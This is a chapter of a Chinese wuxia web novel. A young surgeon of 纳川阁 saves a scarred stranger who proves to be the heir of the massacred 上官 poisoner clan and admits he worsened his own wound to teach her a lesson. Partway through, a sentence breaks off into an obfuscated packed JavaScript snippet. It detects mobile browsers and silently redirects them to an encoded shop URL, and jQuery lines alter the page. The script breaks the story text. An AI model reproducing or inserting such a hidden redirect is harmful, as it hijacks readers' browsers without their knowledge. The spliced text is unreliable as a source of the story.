3. 遗孤
作品:《捡个野徒问鼎江湖》 百川把自己一个人关在停尸冰窖里,面对着少了半个脑花儿的实验尸身,无奈地叹了一声又一声。
要不然她用豆腐雕一个吧,沟沟坎坎高度还原一下,再放猪血里泡个几日,倒也不是糊弄不过去。
最对不起的还是躺在她面前的这位仁兄,人死了贡献出身体,结果半个脑子还被她弄没了,想想百川更觉得郁结,也不知道待会儿师尊知道了会怎么责备她。
紧紧锁上冰窖大门,再反向推了推看是否锁牢,百川小心地将钥匙挂在腰间,这才发现身上的白色师者袍已污了大半,散发着一股子腥臭。
百川掸了掸衣襟,黏糊糊得沾了一手,她现在的样子肯定惨不忍睹,得赶紧去河边洗洗。
百川行至深谷水塘边蹲下,将医器盒打开,拿出里面的干净布绢铺在青石上。
师尊说过,医学外术能更精微地辨识人体,某本典籍也说,外术才是将来医宗的大流趋势。
但其实,她也很虚。
说老实话,外术这一脉当初是师尊的师尊力排众议建立的,其作古后,师尊继续力排众议把外术延续下来。
师尊做为师祖的关门弟子,学的就是这外术一脉,到了她这儿,作为师尊的关门弟子,也是入了外术。
无奈师尊如今因年势渐高,已将大部分精力都转向注重内修调理的药理一脉。
也就是说如今整个纳川除了她,没人再苦钻外术这脉了,故而这般小小年纪就早早成了师者,说好听点是一脉单传,说白了,其实除了她没旁人愿意修习这玩意儿。
清凉的水流过掌心,医器一一清洗,件件摆放整齐,再依次收纳整齐,连同心绪也慢慢整理清晰。
百川又从盒底拿出干净衣物,四顾无人后,她件件脱了身上沾满血污的衣裳,走进水塘中。
一边清洗身体,一边搓洗着换下来的衣裙,无奈怎么搓都搓不净,闻了闻,还是有股味儿。
百川吸了口气,草草结束沐浴,刚想起身,不远处传来一声落水巨响,吓得她差点滑倒在水里。
百川一边慌乱地四处张望,一边伸手摸起衣裳披上,又向旁边走了两步,再度伸头望向远处,拐弯处的水面上竟面朝下漂着个人,从衣着身形来看,是个男子。
百川顾不得将衣服穿好,便重又下水游到那人旁边,把他拖上了岸。
将人翻过身的一瞬,百川一愣。
仿佛被火烧过一般,那人嘴唇以上遍布惊悚丑陋的伤痕,似无数条蚯蚓盘踞,甚至让人无法辨其年龄。
那张惊悚的脸下部,却是形状娇好的嘴唇下巴和白皙光洁的脖颈。
救人如救火,这可不是看脸的时候。
百川定了神,先确认呼吸,再往其口中渡气,按压胸口,反复几次,那人咳了一声,将肺里的水吐了出来。
百川将那人拖进水塘边的小山洞中,置于干燥的地方,脱掉其湿透的外衫,再把自己的干衣衫给他盖上,尽可能保暖,又在周围收集些枯枝,拿医盒里的火折子点上火堆,一番动作熟练又迅速。
男子仍旧昏迷,百川便开始为他细细检查身体。只见此人伤痕满身,最深的是右臂一条寸余长的伤口。
百川从医器盒中拿出术刀、银针和缝线,先淬火消毒,再细细为他剜去伤口的腐肉,紧接着是缝合,如此这般,便过去了大半日。
还剩四针时,那人悠悠转醒。
“忍着点,虽有些疼,此时切不可乱动。”
百川拿了沾湿的绢,折好送到男子口边,想让他咬着,却不想那人动也不动,只一双泛红的桃花眼一错不错地注视着她,洞里光线微暗,他双眸如炬。
百川漂亮地完成最后几针,那人竟纹丝不动,仅气息略有变化,想来内力不浅。
“待伤口长好便可拆线,以我的手艺,应该不会有什么大问题。”
百川用丝绢擦拭双手和医具,下一秒,男子竟哂笑一声。
百川略顿,心里感慨此人相貌狰狞,声音微哑却能听出清悦之感,应是位年轻公子。
但她没多管,只忙着从药箱里拿药,给伤口敷上,又喂了粒纳川阁特产的续命丹药。
“你是何人?”
那人偏头躲过她喂药的手,语气中带着毫不客气的防备心。
“我乃纳川阁医宗师者百川,举手之劳,分内之事,不必言谢。”
百川面无表情地介绍完,再度捏着药怼到他唇上。这次那人不再躲闪,启齿将药丸轻轻含过,过程中丝毫未触碰到她的指尖。
倒是个讲究人,一个来路不明的讲究人。
借着火光,百川将此人又细看了番,其身上伤口虽形状深浅不一,边缘却都光滑平整,是为多种兵器所伤。
所着衣料皆是上品,非寻常百姓人家,且身负武艺,独自一人,不像过路被劫,倒像为人追杀。
百川心里嘀咕,按理说,她此刻应该将人带回纳川,但是吧,她听多了说书的话本,这路边的野男人可不兴随便往家乱捡。
她坐靠墙壁,将脸埋在胳膊里,心里那叫一个纠结。
半晌,她决定折中行事。
“放心睡吧,我守着你。”
百川打算就在此处陪他,待到天明回纳川取药和吃食过来,再将人送出谷外,安顿在周边城镇养伤。
至此,二人一夜无话,百川只偶尔起身探查那男子情形,见他呼吸平稳方宽下心,不过半梦半醒间,总感觉被人盯着,几次抬眼逡巡,也无所获,直到火堆烧得只剩灵星几点,百川方从胳膊间抬起有些疲倦的脸。
晨光熹微,书院的公鸡还未打鸣,百川便静悄悄地从器械房推出轮椅车,拿上打包好了粮食和水,往昨日山洞去了。
整个山谷悄寂无声,只听见虫鸟偶尔悠悠的啼声,夹杂着夏日清晨的冷气,有些阴森。百川推着轮椅,沉浸在车轱辘碰撞小石子的轻微声响中。
这东西是医宗专用来转移伤者的,由百川亲自设计,交由器宗苍谷门下最得意的弟子,蜀中唐门四少唐轩打造,用处良多,真是好东西。
百川得意地感受着车轮轻微颠簸传入手中的酥麻感,比起最初的成品,改进之后效果好多了,最初版的车轱辘完全用木头,行进时太颠,对伤者不好,于是百川又敦促着唐轩改进,最后在车轮上包了一层棉絮加厚牛皮,才有了现在的效果。
百川推着轮椅,不觉间就到了昨日的洞口。
朝阳尚未升起,洞里有些暗,百川隐约见那人背对她躺着。
干咳了两声,百川开口:“我带了些吃的。”
那男子并未回应。
内力修为极佳之人,这种动静下还睡不醒?
百川疑惑着凑近,男子面朝墙壁,百川看不真切,她小心地将他翻转过身,那男子眉头紧锁,正受着痛苦。
百川以手拭额,烫得惊人,再翻开衣物查看昨日缝合的伤口,竟有些红肿。
痈疽为何加重了?
百川顿时紧张起来。按理说不应该的,昨日已处理得当。
来不及细想,百川立刻将男子扶上轮椅,匆匆赶回书院。
待百川回到书院,纳川阁前才刚有零星数个早起的剑宗门下弟子在晨练,见百川大清早从外面推了个人回来,大家神情均是一惊。
有剑宗弟子迎了上来,百川吩咐:
“去将虚谷师尊请来。”
虚谷赶到病室时,百川正在埋头细致处理伤口,再次缝合,加之纳川特制药物外敷口服,所有程序一气呵成。
待一切结束后,床上男子仍在昏迷,虚谷示意百川跟着他去了医宗堂,莫打扰病患休息。
医宗堂为虚谷平日处理医宗大小事务的地方,悬壶济世的大匾高悬其上,庄严肃穆。匾下端坐着虚谷道人。
其已百岁有余,却仍鹤发童颜,仙风道骨,虽表情温和,却自有股威压。
医宗的数个弟子束手立在虚谷身边,皆是屏息凝神。
百川立在堂下,低着头一声不吭。
“百川,这是怎么回事。”虚谷语气并不严厉。
“此人是弟子昨日在谷中水塘救下的人,似是遭仇家追杀后逃进纳川谷,弟子救下他之后已做了缝合应急处理,今日一早打算将其送出谷安置于百姓人家,却不想伤口肿疡……”
百川越说声音越低。
“为何没有即刻送来纳川?”虚谷继续问。
“此人来路不明,弟子恐为纳川带来麻烦,且当时的情况,弟子本以为已无大碍……”百川老实地回答,说到最后俯首及地,只余一句,“百川知错!”
“师尊!”一声嘹亮的高喊打破堂上的肃穆。
这嗓门……百川咬咬牙闭上了眼。
只见一个欣长身影疾风一般,未等众人反应,便已立于堂上。
“师尊,这事儿肯定有蹊跷,不能怪百川儿!”
青年名唤白翎,不到弱冠年纪,一袭绯色弟子劲装裹身,身姿挺拔俊逸,眉目锋利清隽,立在那里似灼灼桃花,又似出鞘利剑,顾盼间自带少年意气,潇洒出尘。
他是武林盟主白鹤的小儿子,进来纳川也有好些年了,虽内力醇厚剑术了得,却心思单纯行事莽撞。
几个剑宗的弟子陆续赶到,气喘吁吁地站到白翎身后,清早一出事,狐朋狗友们便去通知了白翎。
“你说事有蹊跷,何以见得?”虚谷颇有耐心地捋了下胡须。
“此人来路不明,而且,凭川儿的技术,肯定不会出问题,因而,既出了问题,那肯定不是川儿的错,定是另有玄机,当时除了百川儿,若无第三人捣鬼,那定是……定是那人自己捣得鬼!”
神仙一样的脑子……
众人皆是一震,百川更是恨不得爬起来当场踹飞他。
“贫道原本并不打算追究此事,可白翎既有如此之言,倒引起贫道深思。”
虚谷站起身,走向仍俯首跪地的百川:
“百川的医术虽为贫道亲手教授,然则……作为医师,虽须做到万无一失,却万万不能自觉力可通天,自奉为圣,即便是缝合亦不可小觑,不到伤口彻底愈合,都不可确保没有疡疾恶化的可能,人命关天,高傲乃大忌。”
“百川受教。”
百川恭敬跪下,额头触地,发出一声轻微的闷响,愧疚得白翎恨不能咬了自己的舌头。
“师尊,川儿从没觉得自己了不起,是弟子这么觉得。”
“师尊。”
清冽如泉的声音在身后响起,百川心头一悸,却不敢抬眼去看。
青年丰神俊朗,端方如玉,眉目如画却不掩英气,行走间衣袂翩跹,风流天成。皇家出身的气度,令普通鹅黄弟子服也给他穿出了不一样的风骨。
“四皇子竟也来了。”剑宗兄弟一边嘀咕,一边偷瞄白翎表情。
李弘煜恭敬俯首:“师尊,昨日之事,百川确有考虑不周,但她为纳川所忧不无道理,只是情况突变,非百川所能预料。”
“啊对,我就是这个意思。”白翎赶紧补充。
他幽怨地掀起眼皮觑了下弘煜,心中颇有些不忿,便宜尽被这小子占了,明明是他先到的,干脆以后他也入法宗辅修一下,好好练练嘴皮子。
虚谷双目微阖面无波澜,思绪却飘向百川,这丫头,年岁确实也不小了。
白翎还欲开口时,有医师上前来报:“师尊,那伤者醒了。”
众人纷纷转移了注意力,百川也在虚谷的示意下站起身。
“百川和医宗的众位师者随贫道前来,其他人都散了吧,人多不利于休养。”
百川临走前愤愤地瞪了眼白翎,对方一脸歉疚,合掌求饶。收回目光,百川匆匆看了李弘煜一眼,抱拳颔首,算是谢过,便速速跟上众人。
病榻上,男子已醒,却仍微闭着眼,听有人靠近,他漠然睁开双眼。
虚谷先是替他号了脉,再仔细查看一翻,方开口问道:
“阁下可知自己身在何处?”
男子侧目,略打量周遭后,默默点头。
不知是否是错觉,一旁的百川隐约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201883|197220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得这人方才似乎多看了她两眼。
“既如此,贫道可否得知,阁下尊姓大名?”
男子沉默半晌,悠悠开口,声音暗哑却吐字清晰:
“上官寒。”
众人听了这三个字,互相看了一眼,最后都看向虚谷。
百川亦是心中一紧,不由自主地捏了拳。
虚谷瞧了眼一旁的针筒,那是方才从此人衣物内隔中解下的,要说复姓上官的医学世家,虚谷略思索一番,再问:
“不知,可是岳州上官氏?”
男子双唇微启:
“正是。”
顿时,周围窃窃私语,百川看向众人,医宗师者中,出身黄氏的师者黄继面色最是凝重。
她自幼随师尊学习医术,虽专攻外术,但在拿刀之前,纳川阁中的大部医书,无论药理毒理,她都通览过一遍,其中毒理之书十之七八皆出自上官,与擅长药理的黄氏不同,上官似几代人都主攻研究草木虫兽的毒性之理,医门中人皆知,毒物若使用得当,胜过神药。
据说当年上官一族的名气甚至盖过黄氏。只是上官一门的书大多晦涩,也因毒理本就艰深,因而阅书之时常向师尊请教。
曾听师尊提起过,二十五年前,上官一族惨遭净莲宫穆辛灭门,除了门主的长女上官沁不知所踪之外,上官家上下百人皆死于穆辛之手。
这人难道是?
百川听说,上官被灭门当日,却是上官沁与当时的武林盟主岳弦大婚之日,新娘尚未出家门,穆辛便血洗了婚典。那天众多门派当家都在上官家道贺,也一并遇害。
血洗上官之后,紧接着穆辛便去了岳家,以阴毒计谋令岳家同样元气大损。
以上官灭门为起点,净莲宫与武林盟之间的对抗激化,数年间双方俱死伤无数,势力大减,穆辛终因寡不敌众,死于众门派合力突袭剿杀之下,净莲宫再不成气候。
岳弦亦毒发身亡,武林盟旋即经历了一场巨大的格局动荡,二十余年间,岳家及诸多老派失势,武林新秀崛起,后有白鹤接手武林盟,重振江湖。
在场的师者有些是出自当年失势的名门老派,有些则是后起之秀,忆起往事,一时间众人皆有些怆然。
只有百川心中惴惴,她看向榻上这位名门之后,却不料,那人也在静静看她,狰狞的面孔看不出任何表情。
“只知上官唯一的幸存者,上官小姐后来不知所踪,却不知……”
“家母出嫁之时,已有身孕,在下是随了母姓。”
榻上之人说起身世,语气平静,好似事不关己。
众人一副了然于心的表情,江湖儿女血气洒脱,听说当年岳弦对上官家的小姐恋得死心踏地,未婚已孕,发生这种事也……再说,这都多少年了,当事者也大多不在人世,能为岳家留后也算是万幸。
“不知这些年,令堂是否安好?”
“家母数年前已做古。”
众人听了,皆是一声叹息。
“这些年,上官氏一直藏身于湘西一带,家母去世之前,曾示意在下回中原投奔纳川谷,望能学成医学正宗,来日重振上官一族。”
虚谷听后,拈着胡须,默默点头。
事情的前因后果终于理顺了,众人俱是一阵长吁短叹,感慨世事无常,机缘巧合。
“却不知贤侄的伤从何而来?”
上官寒微微阖目,似在回想,又缓缓睁眼:
“在下到此地不久,便发觉被人跟踪,躲避数日却终被追上,所幸在湘西这些年习得些内功心法,抵死逃脱却身受重伤,幸得这位百川姑娘所救。”
说着上官寒又看向百川,百川只觉得背上汗毛竖起。
他既是历尽千险的名门之后,这次虽是被她救了,却也因她再次遇险,要是这位名门之后有个什么三长两短,她可就……早知道昨日就该问他是谁的,不该装。
思及此,百川扯起嘴角,谢过他口下饶人之恩,然后垂下眼帘,不敢再与之对视。
“不知贤侄是否知晓追杀者为何人?”
“家母在湘西潜隐多年,并未与人结仇,”略顿,上官寒继续开口,“只是当年上官家在中原颇有些声誉,不希望上官氏重返中原者倒有一些。”
说罢,百川只感觉旁边黄继面上一凛。
众人又是一翻摇头叹息,对这位门名遗孤充满怜惜。
“却不知,贤侄的面容……是否也是歹人所为?”
虚谷终于问到所有人都好奇的问题,毕竟容貌伤成这样,年纪轻轻的很是令人惋惜。
“此非他人所为。”上官寒阖上眼帘,“研究毒理,不免对自身多有损伤,家母声线嘶哑如老妪,在下的面容亦是代价。”
原来是这样,百川点头,的确听闻当年上官沁貌美如天仙,只是不常开口说话,众人皆道其性冷高贵,原是嗓子被毒坏了。
终于所有该知道的都问完了,虚谷示意众人随其退下,只留下百川照应。
百川恭敬领命,待众人离去,她目光扫至上官寒右臂上的伤口,灼铁烙过的皮肤,看着有些触目。
“其实,上官兄不必谢我,若不是怪我多疑……”
百川心底有些愧疚,师尊说得没错,她这次的确自以为是,大意了。
上官寒缓缓抬起左手,百川以为他有何不适,便凑身上前,却猛然被其扯过胳膊,轻呼一声向前跌去,与其唇齿不足一尺之隔,甚至连对方呼吸都感受真切。
他凑在百川耳边,声音只有她能听见。
“你说得不错,昨天的伤确实处理得当,”顿了顿,他声音低缓雅致,一如沉渊漱玉,“但以上官氏的本事,想控制伤口,易如反掌。”
百川睁大了眼,居然真被白翎那傻缺说中了!
上官寒牵起唇角,语气中多了丝愉悦,但配着狰狞面孔有如修罗恶鬼,听着莫名阴邪:
“百川师者过于自信狂傲,这是教训。”
百川有种不好的预感,她说什么来着,这路边的野男人果然不兴捡。

